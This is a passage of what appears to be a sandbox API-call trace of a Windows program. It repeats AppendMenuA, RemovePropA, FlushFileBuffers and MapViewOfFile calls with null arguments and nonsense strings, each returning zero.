	[0065.442] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.442] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.442] FlushFileBuffers (hFile=0x0) returned 0
	[0065.442] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.442] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.442] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.442] FlushFileBuffers (hFile=0x0) returned 0
	[0065.442] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.442] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.442] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.442] FlushFileBuffers (hFile=0x0) returned 0
	[0065.442] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.442] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.442] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.442] FlushFileBuffers (hFile=0x0) returned 0
	[0065.442] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.442] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.442] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.443] FlushFileBuffers (hFile=0x0) returned 0
	[0065.443] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.443] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.443] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.443] FlushFileBuffers (hFile=0x0) returned 0
	[0065.443] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.443] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.443] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.443] FlushFileBuffers (hFile=0x0) returned 0
	[0065.443] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.443] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.443] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.443] FlushFileBuffers (hFile=0x0) returned 0
	[0065.443] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.443] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.443] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.443] FlushFileBuffers (hFile=0x0) returned 0
	[0065.443] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.443] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.443] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.443] FlushFileBuffers (hFile=0x0) returned 0
	[0065.443] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.443] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.444] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.444] FlushFileBuffers (hFile=0x0) returned 0
	[0065.444] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.444] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.444] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.444] FlushFileBuffers (hFile=0x0) returned 0
	[0065.444] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.444] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.444] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.444] FlushFileBuffers (hFile=0x0) returned 0
	[0065.444] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.444] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.444] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.444] FlushFileBuffers (hFile=0x0) returned 0
	[0065.444] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.444] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.444] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.444] FlushFileBuffers (hFile=0x0) returned 0
	[0065.444] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.444] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.444] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.444] FlushFileBuffers (hFile=0x0) returned 0
	[0065.444] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.445] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.445] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.445] FlushFileBuffers (hFile=0x0) returned 0
	[0065.445] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.445] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.445] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.445] FlushFileBuffers (hFile=0x0) returned 0
	[0065.445] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.445] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.445] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.445] FlushFileBuffers (hFile=0x0) returned 0
	[0065.445] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.445] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.445] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.445] FlushFileBuffers (hFile=0x0) returned 0
	[0065.445] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.445] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.445] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.445] FlushFileBuffers (hFile=0x0) returned 0
	[0065.445] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.445] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.445] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.445] FlushFileBuffers (hFile=0x0) returned 0
	[0065.446] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.446] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.446] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.446] FlushFileBuffers (hFile=0x0) returned 0
	[0065.446] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.446] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.446] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.446] FlushFileBuffers (hFile=0x0) returned 0
	[0065.446] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.446] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.446] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.446] FlushFileBuffers (hFile=0x0) returned 0
	[0065.446] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.446] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.446] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.446] FlushFileBuffers (hFile=0x0) returned 0
	[0065.446] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.446] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.446] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.446] FlushFileBuffers (hFile=0x0) returned 0
	[0065.446] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.446] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.446] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.447] FlushFileBuffers (hFile=0x0) returned 0
	[0065.447] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.447] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.447] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.447] FlushFileBuffers (hFile=0x0) returned 0
	[0065.447] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.447] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.447] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.447] FlushFileBuffers (hFile=0x0) returned 0
	[0065.447] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.447] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.447] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.447] FlushFileBuffers (hFile=0x0) returned 0
	[0065.447] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.447] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.447] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.447] FlushFileBuffers (hFile=0x0) returned 0
	[0065.447] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.447] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.447] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.447] FlushFileBuffers (hFile=0x0) returned 0
	[0065.447] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.447] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.448] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.448] FlushFileBuffers (hFile=0x0) returned 0
	[0065.448] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.448] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.448] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.448] FlushFileBuffers (hFile=0x0) returned 0
	[0065.448] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.448] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.448] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.448] FlushFileBuffers (hFile=0x0) returned 0
	[0065.448] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.448] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.448] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.448] FlushFileBuffers (hFile=0x0) returned 0
	[0065.448] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.448] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.448] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.448] FlushFileBuffers (hFile=0x0) returned 0
	[0065.448] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.448] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.448] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.450] FlushFileBuffers (hFile=0x0) returned 0
	[0065.450] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.450] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.450] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.450] FlushFileBuffers (hFile=0x0) returned 0
	[0065.450] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.450] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.450] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.450] FlushFileBuffers (hFile=0x0) returned 0
	[0065.450] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.450] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.450] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.450] FlushFileBuffers (hFile=0x0) returned 0
	[0065.450] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.450] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.450] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.450] FlushFileBuffers (hFile=0x0) returned 0
	[0065.450] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.451] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.451] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.451] FlushFileBuffers (hFile=0x0) returned 0
	[0065.451] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.451] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.451] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.451] FlushFileBuffers (hFile=0x0) returned 0
	[0065.451] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.451] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.451] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.451] FlushFileBuffers (hFile=0x0) returned 0
	[0065.451] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.451] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.451] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.451] FlushFileBuffers (hFile=0x0) returned 0
	[0065.451] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.451] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.451] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.451] FlushFileBuffers (hFile=0x0) returned 0
	[0065.451] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.451] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.451] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.451] FlushFileBuffers (hFile=0x0) returned 0
	[0065.452] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.452] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.452] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.452] FlushFileBuffers (hFile=0x0) returned 0
	[0065.452] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.452] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.452] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.452] FlushFileBuffers (hFile=0x0) returned 0
	[0065.452] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.452] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.452] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.452] FlushFileBuffers (hFile=0x0) returned 0
	[0065.452] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.452] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.452] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.452] FlushFileBuffers (hFile=0x0) returned 0
	[0065.452] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.452] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.452] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.452] FlushFileBuffers (hFile=0x0) returned 0
	[0065.452] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.452] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.452] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.453] FlushFileBuffers (hFile=0x0) returned 0
	[0065.453] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.453] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.453] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.453] FlushFileBuffers (hFile=0x0) returned 0
	[0065.453] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.453] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.453] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.453] FlushFileBuffers (hFile=0x0) returned 0
	[0065.453] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.453] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.453] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.453] FlushFileBuffers (hFile=0x0) returned 0
	[0065.453] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.453] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.453] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.453] FlushFileBuffers (hFile=0x0) returned 0
	[0065.453] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.453] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.453] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.453] FlushFileBuffers (hFile=0x0) returned 0
	[0065.453] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.453] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.454] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.454] FlushFileBuffers (hFile=0x0) returned 0
	[0065.454] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.454] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.454] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.454] FlushFileBuffers (hFile=0x0) returned 0
	[0065.454] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.454] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.454] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.454] FlushFileBuffers (hFile=0x0) returned 0
